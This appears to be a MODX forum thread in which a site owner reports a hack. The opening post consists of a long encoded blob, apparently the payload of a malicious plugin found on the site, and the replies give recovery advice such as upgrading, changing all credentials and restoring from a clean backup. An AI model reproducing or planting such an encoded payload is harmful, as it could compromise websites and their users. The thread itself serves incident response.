YfxDnsuPXrtfl8voY77doMehM4fNJNL/Ba+nKt26nfjb5CE1tB1h13eo0aa4oNUVjCowrjvQf5RwHpazGnTK/LniGuDd2h6N4Tarh/PS1fS+UL+NN/Syl/xh+n+Er05acK2lzssSSbYmJu2AIENfQOEEdRwJGRewZ7vwRngRfLAPm5+aUmWXP1Khb93IATBQf6xogTHB+E4LIt+pYbpEp6yYmwO8taTJwZQ8JhYoPMyHXfYdmwMZCBe9PpgjA0i90tWvbKF9tO0AYxi8TK+paNuNM2TGFsHQ9xJX0vmvrODRcqqYRzrh1s/b474VKcBWy9BWzTxqLM5qLMjVJI8hULIbjt2CL72iBn3UaUgNB8B3q7xAQSiTKyDcHHTuz4U4EOJWiWLaN9PdN+YjYINIRyzIkI92c07cyQ9LIdZS4oXbrhxPVGmZHIZ69uzlouZAnGg+Tm+jqmBB4I+l04SIzXIxe9atafZNejFv/8EQ7KINdp+i50L8yxhRuPkDV5ss6ggwivv8JA1GBc1qAjsay51m93hotF7BdBMjoBCfaXeqzWq0L4DBAGpQJRstU1QJKPc6MiHY9J5ZLRZK+9KAbaZEFcowXYHW2w6ojZQi5VwmDbEcpFNFiGb3IuoZ2GdI9i4LdZHnfJUC0Z5tUU3byeEUaJ+fxIx6TomM4RX08WbjfRq8xuODRghxqsdQHi/3kjJ2Nyg6yQp8NfMkzSiJWYBWutPH0oC6DBn1nGHRwR2tiJLVdGJx7BF/EWjA63UOdk/aRS1soylaAkFAVXKAuwkrddmqw18Afs/6Knkspg/K16h41PatCyf7BMMOnBaWXZsoewQFh/OUuRLyxYyRilPwjxH9utkof/V7nCUVjEfC798aVTc/B5tRdJxWFbNQEHsoS1vr3u8MVP9AlfVRK7p31+abD2FLc9wx8Pvn85Pny6aaJ+neOv3vTpkydvygZGpSpXbRga4zq9RDmpyImgn29qzHSbRAjt+dsBWlvGJVTLrhFjDcQeu5ZIcLVNlP3M5od62Io3ertFs9uq3PY6VNgmP4GV0jh26anbq7HDySCwW3r8oJ9I7sKIVsqXEc/aE9iEXFmVP6v26Z8+lYR/qva70RQ/8B/IiVDubwUneAKh7zP6rNrPUNjNoHBthEL7qtpUYTwPwlhZlz/VdyA0bIo7lYeL0uaNP9tigm4w44o8+ZsGB7JBXX8AMsIYjuU8HxNB+DeHZCez7MCNdsQuRPlLuhL1ICANFswe2pVkoMreJK6UbnteF0ZyXIGR+I/V/swk+1s/S4r9LWB/G4bpqnNf2Eg8TUcv8Jf6q2/hKF7iEDp69nJ7PR7JTuyHID0ik/Epg2EXqlsC4aekOaqoxoQkYtk96Om/IA8bU6gqT/7yog75w0Nvzd68ACrExBNIRauLTaMmMzYAdZd11qkxn0yShM2BU9lFMCclKmcnmUp7INpULdQMsp7r+09W1dqgL9yZ8asuOh7FofZpHMJ/fZnU3lMdYPsc18XN7WHYU4cL+gHsVv++6vfp371sfxO3oaL+e3Mj1At3+ybNLdy5QG1Q/DAi/TbqOhijR/jangQAr3p52t5eqTIQFhvNOuFVawKhk80SSAOxE8IG0epnfXRl2f557vzUZtvrR9G2qIy2CVFNc/wTtxP8rjDeFS9kv9gUZ2aYoUyE7yhHU29S2q/cMILVoyx1pvKnzsBSYlLXQKhobuLy9QU6EEhIXHALAmm/fXyEItskYVBq6mxQENWgQrvt44OD7fVhW09IRwerLvvBcTsY1NQMT94RPAd6IEHiDMcb8AKOFujGeNDfh8Sy/dvaa63PXnptm5EYeNEZ8yhr77nzRu8vEG8SVkLvlwN1gYHSKKNxRl6keVCX4YrBtKxoDfNCjTrnlP+oAdFqN5SfqIZqYTiO9rAL8/RqhZ1zzkhRrgpYnzUyKRhYklyXPjOE4X2qiJMrBM6P9MSQM0b4jYaoORaTcptiXVUdHQeRPBrLvL/QE0soBKw2YZWcen2n6/otC11ypdLR4lGZ+yvj2yEVAgbjNUYLBHRm39rDamUY1UdDdwaL/9vZffHixPoiOYQX3/M9tNN0i+tXirfHdPtHmmqvnMnYcvAX/cJI0Og/TRb5kc0Sxgs86zUTej4aDKy7LJdRFt/IdcCSirVQqCWU6Y8t3GxVcdJ6egdOECtbWwk2D+Uh02/aSoYvn0xZn/k2Wn27Xf4ABVwsRBGT39o0IWT9KKOXt1GtABNYHB4JoQVrNMx5J16/Jc0BWPYVkyfl4mEXOd0gjoNkOhPP1CvY37iL0g5OVGWQoVVoh09jwthPUgqSMAiuW8Lxn45zgFSwGEr5wC6t85g4JvOW2tKgbvNmMxovxKlMVZXLd//R6KgdwDnJElS7ereV4zY0rKCBFzCd+W8jxL+kuQOp2jNNbW6Jpp64Djeb36Olg7sRzvm/a5SSU5A4WVqwx5cwCjZiV39kRt46l8aY6WblDq3q/2IMBzYMe91e2Bh9XO7Zmn9wjNThJDOpik2zQreB7sNwdzbdf5YIzRzqNW+b7R/tnf32Yb9yj3R+7FqdMKaCeCCZODYvTKSdk9VkHt2dLAY31oHUtKdMv6jwtCFYz0AsaPpL5S3ViTthTaV2f3xy/nuWVhJPt6SKWPZH8/2ZkHyR78SE3ZCxFCvK7ZJpG5BLVoFY7hy0HfFYFiyrxbJZ7ZHFL5oI9ZzmfZK54vClynmzrF12Vjtu6ldMV1BImk++MQG+kcV+MX2ksbonfUdpCfq4SSyfPkba2L8ul7yJEDbgYK+O6tiKjKoQ9fhXULhQTX0oXcWCT+fGROz8EWuTMtpckzyu8stSKy56zRTqoNsh136hPdyRAFGrXhEAkn7Sap1W+bZ3uJ98biU8+zurGIHI0zG6VqBWZUcNCR6Yc6EbBbMQ9eMDruBRGxNprhVNlRQuodOjm2rl1Z2BGwygmEcqIFmtxQZ18YHkd6PefMRbNO35ToQ1KNud4A4skyOKJuesVbl+lSLWYbFT/b8b/33UawqYH6woNNE0hMPXoHn/p0R4DkMdHrFoDZZI8Oz08rktSNoavlRCH//3yTLICJDxcNjbXEfLEYXkEJJfEiRNsRI/Dj7PE9HpZ8inl5gp8MF+cfXrvTqeL1st+bPk4YSKNCoT2N0EaTeB9WZunyawQhPYt
    [ed. note: Crash1hd last edited this post 6 years ago.]
    • Hello,

      You need to upgrade the site to 1.0.10, as there are several major security issues with an older version.

      You should assume the site was fully compromised and do an indepth review of all resources.
        Patrick | Server Wrangler
        About Me: Website | TweetsMODX Hosting
      • And change all usernames and passwords -- cPanel, FTP, database, MODX login, database user.

        In order to install a plugin, the hacker would almost have to have your MODX login credentials and/or the DB and DB user login credentials.

        Your best move, if possible, is to remove the entire site (including the database) and restore it from a pre-hacked backup, then quickly change all the usernames and passwords.
          Did I help you? Buy me a beer
          Get my Book: MODX:The Official Guide
          MODX info for everyone: http://bobsguides.com/modx.html
          My MODX Extras
          Bob's Guides is now hosted at A2 MODX Hosting
        • Sounds like somebody got the Manager login using the "forgot login" vulnerability. This means he may have gotten access to the config.inc.php file, thus getting access to the database. This wouldn't have given access to any CPanel or FTP logins, just everything relevant to MODx. It can't hurt to replace your CPanl and FTP logins in any case. Check your local computer as well; there are some rather nasty trojan-horse scripts that can get into your machine and record all your keystrokes, or can scan your computer for any stored login usernames and passwords.

          You could most likely make a fresh install of MODx, including a new database, then import the content, chunk, TV and template tables using a "drop table" backup of those tables from the original database. Import any web users, web groups and resource group tables, but create the manager users and groups fresh. Do NOT use "admin" as a username!!! Run the installer in upgrade mode after importing the tables. All snippets and plugins should be the new versions from the fresh install, or installed fresh if from the MODx repository, or examined very carefully if custom code. It's a good idea to generate a checksum of custom snippets or plugins, so you can compare them in cases like this to see if they've been modified.
            Studying MODX in the desert - http://sottwell.com
            Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
            Join the Slack Community - http://modx.org